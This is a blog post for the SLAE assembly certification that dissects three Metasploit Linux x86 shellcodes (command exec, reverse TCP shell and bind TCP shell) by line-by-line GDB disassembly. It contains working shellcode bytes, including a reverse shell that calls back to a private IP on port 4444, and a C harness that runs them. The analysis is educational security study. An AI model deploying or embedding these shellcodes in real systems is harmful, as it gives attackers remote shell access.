Assignment_5 – Metasploit shellcodes analysis

This  post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-581
###


PART 1 (execve analysis):
This is the first part of Assignment_5 task. In this part we gonna scrutinize linux/x86/exec payload (shellcode).
Let’s take a look at the list of available shellcodes from msfpayload:

msfpayload -l | grep "linux/x86"

    linux/x86/adduser                                Create a new user with UID 0
    linux/x86/chmod                                  Runs chmod on specified file with specified mode
    linux/x86/exec                                   Execute an arbitrary command
    linux/x86/meterpreter/bind_ipv6_tcp              Listen for a connection over IPv6, Staged meterpreter server
    linux/x86/meterpreter/bind_nonx_tcp              Listen for a connection, Staged meterpreter server
    linux/x86/meterpreter/bind_tcp                   Listen for a connection, Staged meterpreter server
    linux/x86/meterpreter/find_tag                   Use an established connection, Staged meterpreter server
    linux/x86/meterpreter/reverse_ipv6_tcp           Connect back to attacker over IPv6, Staged meterpreter server
    linux/x86/meterpreter/reverse_nonx_tcp           Connect back to the attacker, Staged meterpreter server
    linux/x86/meterpreter/reverse_tcp                Connect back to the attacker, Staged meterpreter server
    linux/x86/metsvc_bind_tcp                        Stub payload for interacting with a Meterpreter Service
    linux/x86/metsvc_reverse_tcp                     Stub payload for interacting with a Meterpreter Service
    linux/x86/read_file                              Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
    linux/x86/shell/bind_ipv6_tcp                    Listen for a connection over IPv6, Spawn a command shell (staged)
    linux/x86/shell/bind_nonx_tcp                    Listen for a connection, Spawn a command shell (staged)
    linux/x86/shell/bind_tcp                         Listen for a connection, Spawn a command shell (staged)
    linux/x86/shell/find_tag                         Use an established connection, Spawn a command shell (staged)
    linux/x86/shell/reverse_ipv6_tcp                 Connect back to attacker over IPv6, Spawn a command shell (staged)
    linux/x86/shell/reverse_nonx_tcp                 Connect back to the attacker, Spawn a command shell (staged)
    linux/x86/shell/reverse_tcp                      Connect back to the attacker, Spawn a command shell (staged)
    linux/x86/shell_bind_ipv6_tcp                    Listen for a connection over IPv6 and spawn a command shell
    linux/x86/shell_bind_tcp                         Listen for a connection and spawn a command shell
    linux/x86/shell_bind_tcp_random_port
    linux/x86/shell_find_port                        Spawn a shell on an established connection
    linux/x86/shell_find_tag                         Spawn a shell on an established connection (proxy/nat safe)
    linux/x86/shell_reverse_tcp                      Connect back to attacker and spawn a command shell
    linux/x86/shell_reverse_tcp2                     Connect back to attacker and spawn a command shell


and dissect linux/x86/exec

S option will give your a summary about shellcode:
msfpayload linux/x86/exec S

       Name: Linux Execute Command

     Module: payload/linux/x86/exec
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 158
       Rank: Normal

Provided by:

  vlad902 <vlad902@gmail.com>

Basic options:

Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

Description:

  Execute an arbitrary command

Msfpayload output in C format for pwd command:
msfpayload linux/x86/exec CMD=pwd C

/*

 * linux/x86/exec - 39 bytes
 * http://www.metasploit.com
 * VERBOSE=false, PrependFork=false, PrependSetresuid=false,
 * PrependSetreuid=false, PrependSetuid=false,
 * PrependSetresgid=false, PrependSetregid=false,
 * PrependSetgid=false, PrependChrootBreak=false,
 * AppendExit=false, CMD=pwd
 */
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x04\x00\x00\x00\x70"
"\x77\x64\x00\x57\x53\x89\xe1\xcd\x80";

and for id command:
msfpayload linux/x86/exec CMD=id C

/*
 * linux/x86/exec - 38 bytes
 * http://www.metasploit.com
 * VERBOSE=false, PrependFork=false, PrependSetresuid=false,
 * PrependSetreuid=false, PrependSetuid=false,
 * PrependSetresgid=false, PrependSetregid=false,
 * PrependSetgid=false, PrependChrootBreak=false,
 * AppendExit=false, CMD=id
 */
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x69"
"\x64\x00\x57\x53\x89\xe1\xcd\x80";

It is clear that our commands (pwd, id) are stored in the following bytes:

echo -e "\x70\x77\x64" - pwd
echo -e "\x69\x64" - id

Let’s load our shellcode in C skeleton:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x04\x00\x00\x00\x70"
"\x77\x64\x00\x57\x53\x89\xe1\xcd\x80";
main()
{
        printf("Shellcode Length: %d\n",strlen(shellcode));
        int (*ret)() = (int(*)())shellcode;
        ret();
}

compile and check what it really does)

root@debian:/usr/local/src/SLAE/5_assigment# gcc -fno-stack-protector -z execstack exec.c -o exec
root@debian:/usr/local/src/SLAE/5_assigment# ./exec
Shellcode Length: 15
/usr/local/src/SLAE/5_assigment

Pwd works fine, let’s check our programm in gdb. Here it is gdb output with comments:

#Linux/x86/exec shellcode analysis
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
gdb ./exec
(gdb) set disassembly-flavor intel
(gdb) b main                     ;breakpoint at main() function
(gdb) info variables
All defined variables:

Non-debugging symbols:
0x08048518  _fp_hw
0x0804851c  _IO_stdin_used
0x080485b0  __FRAME_END__
0x080495b4  __frame_dummy_init_array_entry
0x080495b4  __init_array_start
0x080495b8  __do_global_dtors_aux_fini_array_entry
0x080495b8  __init_array_end
0x080495bc  __JCR_END__
0x080495bc  __JCR_LIST__
0x080495c0  _DYNAMIC
0x080496b4  _GLOBAL_OFFSET_TABLE_
0x080496e0  __data_start
0x080496e0  data_start
0x080496e4  __dso_handle
0x08049700  shellcode
0x08049728  __TMC_END__
0x08049728  completed.5730
(gdb) b *0x08049700                  ;we have set a breakpoint at 0x08049700, which is nothing but - shellcode.

Breakpoint 2 at 0x8049700
(gdb) run
Starting program: /usr/local/src/SLAE/5_assigment/exec

Breakpoint 1, 0x0804844f in main ()
(gdb) c
Continuing.
Shellcode Length: 15

Breakpoint 2, 0x08049700 in shellcode ()
(gdb) disas
Dump of assembler code for function shellcode:
=> 0x08049700 <+0>:     push   0xb     ;pushing 11 code(execve) into stack
   0x08049702 <+2>:     pop    eax     ;extract 11 from stack and mov it to eax
   0x08049703 <+3>:     cdq            ;Converts signed DWORD in EAX to a signed quad word in EDX:EAX  (edx is now zero)
   0x08049704 <+4>:     push   edx     ;push edx value (0) into stack
   0x08049705 <+5>:     pushw  0x632d  ;push WORD (2bytes) into stack (-c in reverse order, as 0x63 is c, and 2d is “-” in ascii table)
   0x08049709 <+9>:     mov    edi,esp ;mov address of esp into edi (from which null terminated -c starts)

   
   0x0804970b <+11>:    push   0x68732f   ;mov the part of /bin/sh in reversed order into the stack
   0x08049710 <+16>:    push   0x6e69622f ;mov the part of /bin/sh in reversed order into the stack
  
 ;echo -e "\x2f\x62\x69\x6e\x2f\x73\x68" /bin/sh

0x08049715 <+21>:    mov    ebx,esp     ;store the pointer of /bin/sh into ebx
0x08049717 <+23>:    push   edx         ;push 0 into stack


Let’s call in mind the syntax of execve system call:

;execve(const char *filename, char *const argv[],
                  char *const envp[]);

Thus the registers are:
EAX - contains 11 (execve code)
EBX - contains the pointer to /bin/sh string (filename)
ECX - should contain the pointer to /bin/sh, -c, pwd, 0x00000000 array (argv[])
EDX - contains zero (envp)
EDI - contains ptr to -c argument

Let’s examine a stack before int 0x80:

(gdb) print /x $esp
$44 = 0xbffffc5a
(gdb) x/4xw 0xbffffc5a
0xbffffc5a:     0x00000000      0x6e69622f      0x0068732f      0x0000632d

Here it is what is stored on stack righ now:

(gdb) x/s 0xbffffc5a  ; TOP of the stack
0xbffffc5a:      ""
(gdb)
0xbffffc5b:      ""
(gdb)
0xbffffc5c:      ""
(gdb)
0xbffffc5d:      ""
(gdb)
0xbffffc5e:      "/bin/sh"
(gdb)
0xbffffc66:      "-c"
(gdb)
0xbffffc69:      ""
(gdb)
0xbffffc6a:      ""
(gdb)
0xbffffc6b:      ""
(gdb)

   0x08049718 <+24>:    call   0x8049721 <shellcode+33>

And here it is after call:

(gdb) x/4xw $esp
0xbffffc56:     0x0804971d      0x00000000      0x6e69622f      0x0068732f
(gdb) x/xs 0x0804971d
0x804971d <shellcode+29>:        "pwd"

Stack now contains “pwd” string thus we can conclude the “jmp-call-pop” technic has been used here.
Let’s step in and look what is happinning:

=> 0x08049721 <shellcode+33>:   push   edi ;push "-c" into stack
   0x08049722 <shellcode+34>:   push   ebx ;push /bin/sh into stack

STACK NOW:
(gdb) x/4xw $esp
0xbffffc4e:     0xbffffc5e      0xbffffc66      0x0804971d      0x00000000
(gdb) x/s 0xbffffc5e
0xbffffc5e:      "/bin/sh"
(gdb) x/s 0xbffffc66
0xbffffc66:      "-c"
(gdb) x/s 0x0804971d
0x804971d <shellcode+29>:        "pwd"

0x08049723 <shellcode+35>:   mov    ecx,esp ;mov pointer to /bin/sh -c pwd into ECX

REGISTERS BEFORE a system call:

$67 = 0xb ; 11 - execve code
$68 = 0xbffffc5e ; "/bin/sh"
$69 = 0xbffffc4e ; pointer to “/bin/sh -c pwd”
$70 = 0x0 ;NULL

0x08049725 <shellcode+37>:   int    0x80 ;syscall

End of assembler dump.

Analysis is done.


PART 2 (back connect shellcode analysis):

This is the third part of Assignment_5 task. In this part we gonna scrutinize shell_reverse_tcp payload (shellcode).

 Run msfpayload, set custom LHOST, lport is default:

 msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.91.129 C
 /*
  * linux/x86/shell_reverse_tcp - 68 bytes
  * http://www.metasploit.com
  * VERBOSE=false, LHOST=192.168.91.129, LPORT=4444,
  * ReverseConnectRetries=5, ReverseAllowProxy=false,
  * PrependFork=false, PrependSetresuid=false,
 * PrependSetreuid=false, PrependSetuid=false,
 * PrependSetresgid=false, PrependSetregid=false,
 * PrependSetgid=false, PrependChrootBreak=false,
 * AppendExit=false, InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x5b\x81\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

###

We have loaded this shellcode into C skeleton (see analysis 1 and 2) and compile it.
After that we gonna scrutinize it in GDB. Here it is gdb output with comments:


#Linux/x86/shell_reverse_tcp shellcode analysis
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
root@debian:/usr/local/src/SLAE/5_assigment# gdb ./shell_reverse_tcp

(gdb) set disassembly-flavor intel
(gdb) b main
Breakpoint 1 at 0x804844f
(gdb) info variables shellcode
All variables matching regular expression "shellcode":

Non-debugging symbols:
0x08049700  shellcode
(gdb) b *0x08049700
Breakpoint 2 at 0x8049700
(gdb) run
Starting program: /usr/local/src/SLAE/5_assigment/shell_reverse_tcp

Breakpoint 1, 0x0804844f in main ()
(gdb) c
Continuing.
Shellcode Length: 31

Breakpoint 2, 0x08049700 in shellcode ()
(gdb) disas

Let's try to figure out what this shellcode really do)
We will use define hook-stop to automate the debug process:

define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print /x $eax
>print /x $ebx
>print /x $ecx
>print /x $edx
>x/4xw $esp
>disas $eip,+10
>end


;This part of code is responsible for creation a socket file descriptor
;socket(int domain, int type, int protocol);
=> 0x08049700 <+0>:     xor    ebx,ebx  ;zeroed ebx
   0x08049702 <+2>:     mul    ebx  ;zeroed eax and edx (multiply eax by ebx, and store result in edx:eax)
   0x08049704 <+4>:     push   ebx  ;push zero into stack (zero is protocol code) 
   0x08049705 <+5>:     inc    ebx  ;increment ebx value, ebx=1 now; 1 is a code for sys_socket()
   0x08049706 <+6>:     push   ebx  ;push 1 into stack (this is a code for type (SOCK_STREAM))
   0x08049707 <+7>:     push   0x2  ;push 2 into stack (this is a code for domain (AF_INET))
   0x08049709 <+9>:     mov    ecx,esp  ;mov pointer to socket() args from stack into ecx
   0x0804970b <+11>:    mov    al,0x66  ;mov socketcall() code into al
   0x0804970d <+13>:    int    0x80  ;run syscall

;This part of code is responsible for creation a copy of the file descriptor
;dup2(int oldfd, int newfd);
   0x0804970f <+15>:    xchg   ebx,eax  ;exchanging between registers. Transfer an old file descriptor from eax into ebx (eax contained the result of previous systemcall execution, which is nothing but a socket file descriptor), eax now contain 0x1 value
   0x08049710 <+16>:    pop    ecx  ;pop 0x2 from stack into ecx
   0x08049711 <+17>:    mov    al,0x3f  ;mov dup2 code into al
   0x08049713 <+19>:    int    0x80  ;run syscall
   0x08049715 <+21>:    dec    ecx  ;decrement ecx (ecx is now contains 1)
   0x08049716 <+22>:    jns    0x8049711 <shellcode+17> ;jump to 0x8049711 and do the same as before (mov X into ecx and then run dup2 syscall), where X is the file descriptor number which from 2 to 0 (stderror, stdout, stdin) due to ecx decrementing.

;This part of code is responsible for sys_connect
;See /usr/include/linux/net.h
;connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
;struct sockaddr (AF_INET, port, address)

   ;this is for struct sockaddr  
   0x08049718 <+24>:    push   0x815ba8c0 ;push IP address (192.168.91.129) into stack. Where 0xc0 is 192, 0xa8 is 168 and so on..
   0x0804971d <+29>:    push   0x5c110002 ;push Port number(0x115c) into stack
 ;AF_INET arg adding seems to be missed by gdb.  
   0x08049722 <+34>:    mov    ecx,esp  ;push pointer to struct sockaddr args into ecx 
   0x08049724 <+36>:    mov    al,0x66  ;mov socketcall() code into al

   ;this is for connect() itself 
   0x08049726 <+38>:    push   eax  ;this line may confused you, as the first push should be addrlen value (16) into stack. 

;But here is what we have in GDB:
=> 0x08049726 <shellcode+38>:   push   eax
   0x08049727 <shellcode+39>:   push   ecx
   0x08049728 <shellcode+40>:   push   ebx
   0x08049729 <shellcode+41>:   mov    bl,0x3
   0x0804972b <shellcode+43>:   mov    ecx,esp
   0x0804972d <shellcode+45>:   int    0x80
   0x0804972f <shellcode+47>:   push   edx
End of assembler dump.
0x08049726 in shellcode ()
(gdb) stepi
$109 = 0x66
$110 = 0x8
$111 = 0xbffffc3c
$112 = 0x0
0xbffffc38:     0x00000066      0x5c110002      0x815ba8c0      0x00000001

Let's continue:
   0x08049727 <+39>:    push   ecx  ;mov pointer to struct sockaddr args into stack
   0x08049728 <+40>:    push   ebx  ;mov sockfd into stack
   0x08049729 <+41>:    mov    bl,0x3  ;mov sys_connect() code into bl
   0x0804972b <+43>:    mov    ecx,esp  ;mov pointer to connect() args into ecx
   0x0804972d <+45>:    int    0x80  ;run syscall

;This part of code is responsible for spawning a shell when connect.
;execve(const char *filename, char *const argv[], char *const envp[]);
   0x0804972f <+47>:    push   edx  ;push 0 into stack
   0x08049730 <+48>:    push   0x68732f2f ;push /bin//sh into stack
   0x08049735 <+53>:    push   0x6e69622f ;push /bin//sh into stack
   0x0804973a <+58>:    mov    ebx,esp  ;push address of /bin//sh string into ebx
   0x0804973c <+60>:    push   edx  ;push 0 into stack
   0x0804973d <+61>:    push   ebx  ;push pointer to /bin//sh string into stack 
   0x0804973e <+62>:    mov    ecx,esp  ;mov pointer to /bin//sh string into ecx
   0x08049740 <+64>:    mov    al,0xb  ;mov execve() code into al
   0x08049742 <+66>:    int    0x80  ;run syscall
Analysis is done.


PART 3 (shell bind TCP analysis):

This is the second part of Assignment_5 task. In this part we gonna scrutinize shell_bind_tcp payload (shellcode).

Run msfpayload to generate shell_bind_tcp shellcode with port 5555:

root@Platon:~# msfpayload linux/x86/shell_bind_tcp LPORT=5555 C
/*
 * linux/x86/shell_bind_tcp - 78 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=5555, RHOST=, PrependFork=false,
 * PrependSetresuid=false, PrependSetreuid=false,
 * PrependSetuid=false, PrependSetresgid=false,
 * PrependSetregid=false, PrependSetgid=false,
 * PrependChrootBreak=false, AppendExit=false,
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x15\xb3\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";


Now we load our code in C skeleton, compile and check what it really does:)
./shell_bind_tcp & netstat -anp | grep 5555

[2] 7847

Shellcode Length: 20
tcp        0      0 0.0.0.0:5555            0.0.0.0:*               LISTEN      7847/shell_bind_tcp

The code works fine)

Let's load it in GDB and scrutinize it. Here it is commented GDB output:

#Linux/x86/shell_bind_tcp shellcode analysis

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
gdb ./shell_bind_tcp -q
Reading symbols from /usr/local/src/SLAE/5_assigment/shell_bind_tcp...(no debugging symbols found)...done.
(gdb) b main                        ;breakpoint at main() function
Breakpoint 1 at 0x804844f
(gdb) info variables shellcode
All variables matching regular expression "shellcode":
Non-debugging symbols:
0x08049700  shellcode
(gdb) b *0x08049700             ;we have set a breakpoint at 0x08049700, which is nothing but - shellcode.

Breakpoint 2 at 0x8049700
(gdb) run
Starting program: /usr/local/src/SLAE/5_assigment/shell_bind_tcp

Breakpoint 1, 0x0804844f in main ()
(gdb) c
Continuing.
Shellcode Length: 20

Breakpoint 2, 0x08049700 in shellcode ()

(gdb) set disassembly-flavor intel
Dump of assembler code for function shellcode:

Here it is files which may help:
;/usr/include/*/asm/unistd_32.h
;cat /usr/include/linux/net.h


;How to create a socket 
;socket(int domain, int type, int protocol)
;AF_INET(2), SOCK_STREAM(1), int protocol(0)


Disassembled code with comments:
;This part of code is responsible for creation a socket file descriptor=> 0x08049700 <+0>: xor ebx,ebx ;zeroed ebx
   0x08049702 <+2>:     mul    ebx ;zeroed eax, edx
   0x08049704 <+4>:     push   ebx ;push 0 into stack, protocol
   0x08049705 <+5>:     inc    ebx ;ebx now contain 1, and that is actually code for sys_socket
   0x08049706 <+6>:     push   ebx ;push 1 into stack, SOCK_STREAM
   0x08049707 <+7>:     push   0x2 ;push 2 into stack, AF_INET
   0x08049709 <+9>:     mov    ecx,esp ;push pointer to socket() args into ecx
   0x0804970b <+11>:    mov    al,0x66 ;this is actually 102 in decimal(a code for using socketcall)
   0x0804970d <+13>:    int    0x80 ;run syscall

;This part of code is responsible for BIND()
;int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); ;struct sockaddr () ;const struct sockaddr *addr (address family: AF_INET, port, Internet address) 0x0804970f <+15>: pop ebx ;set ebx to 2, 2 is actually bind() code
   0x08049710 <+16>:    pop    esi ;from stack into esi
   0x08049711 <+17>:    push   edx ;push zero into stack (any address to listen)
   0x08049712 <+18>:    push   0xb3150002 ;5555 port, reversed hex value 15b3, the first two bytes
   0x08049717 <+23>:    push   0x10  ;addrlen (16 in decimal)
   0x08049719 <+25>:    push   ecx  ;ptr to struct sockaddr args
   0x0804971a <+26>:    push   eax  ;sockfd
   0x0804971b <+27>:    mov    ecx,esp  ;ptr to bind() args
   0x0804971d <+29>:    push   0x66  ;socketcall() code (102 in decimal)
   0x0804971f <+31>:    pop    eax  ;extract socketcall() code from stack into eax


;;;;;;; REGISTERS and stack before bind() will run
;$eax = 0x66     ;socketcall
;$ebx = 0x2     ;bind()
;$ecx = 0xbffffc44  ;ptr to args for bind(), refers to the top of the stack
;$edx = 0x0

;STACK:
;x/8xw $esp
;0xbffffc44:     0x00000007 (this seems to be a fd)      0xbffffc50 (this is ptr for struct sockaddr args)      0x00000010 (addrlen)      0xb3150002
;0xbffffc54:     0x00000000      0x00000000      0x0804847f      0x08048520

;x/2xw 0xbffffc50 (ptr for struct sockaddr args)
0xbffffc50:     0xb3150002 (port)      0x00000000 (Internet address)
;the most interesting thing I have noticed while scrutinizing it - is that AF_INET argument is missing here.
;;;;;;;;

 0x08049720 <+32>:    int    0x80  ;run syscall

;This part of code is responsible for LISTEN()
;listen(int sockfd, int backlog)
   0x08049722 <+34>:    mov    DWORD PTR [ecx+0x4],eax
   0x08049725 <+37>:    mov    bl,0x4  ;that is actually code for listen()
   0x08049727 <+39>:    mov    al,0x66  ;socketcall() code (102 in decimal)
   0x08049729 <+41>:    int    0x80  ;run syscall
;This part of code is responsible for ACCEPT()
;accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) 0x0804972b <+43>: inc ebx ;that is actually code for accept()
   0x0804972c <+44>:    mov    al,0x66  ;socketcall() code (102 in decimal)
   0x0804972e <+46>:    int    0x80  ;run syscall

This part of code is responsible for DUP2()
;dup2(int oldfd, int newfd) 0x08049730 <+48>: xchg ebx,eax ;save old file descriptor in ebx
   0x08049731 <+49>:    pop    ecx  ;from stack to ecx
   0x08049732 <+50>:    push   0x3f  ;that is actually code for dup2() (63 in decimal)
   0x08049734 <+52>:    pop    eax  ;extract 63 from stack into eax
   0x08049735 <+53>:    int    0x80  ;run syscall
   0x08049737 <+55>:    dec    ecx  ;decrement ecx
   0x08049738 <+56>:    jns    0x8049732 <shellcode+50> ;JNS Jump if not sign SF = 0. The sign flag is set if the result of an operation is negative, so we loop for filling ecx from 2 to 0 to create a file descriptors for STD_ERROR, STD_OUT, STD_IN

;This part of code is responsible for SPAWNING a SHELL
;execve(const char *filename, char *const argv[], char *const envp[]); 0x0804973a <+58>: push 0x68732f2f ;push string info stack //sh 0x0804973f <+63>: push 0x6e69622f ;push string info stack /bin 0x08049744 <+68>: mov ebx,esp ;mov /bin//sh address into ebx 0x08049746 <+70>: push eax ;mov 0 into stack 0x08049747 <+71>: push ebx ;push pointer to /bin//sh into stack 0x08049748 <+72>: mov ecx,esp ;mov pointer to /bin//sh into ecx 0x0804974a <+74>: mov al,0xb ;execve() code 0x0804974c <+76>: int 0x80 ;run syscall

Analysis is done. 



No comments:

Post a Comment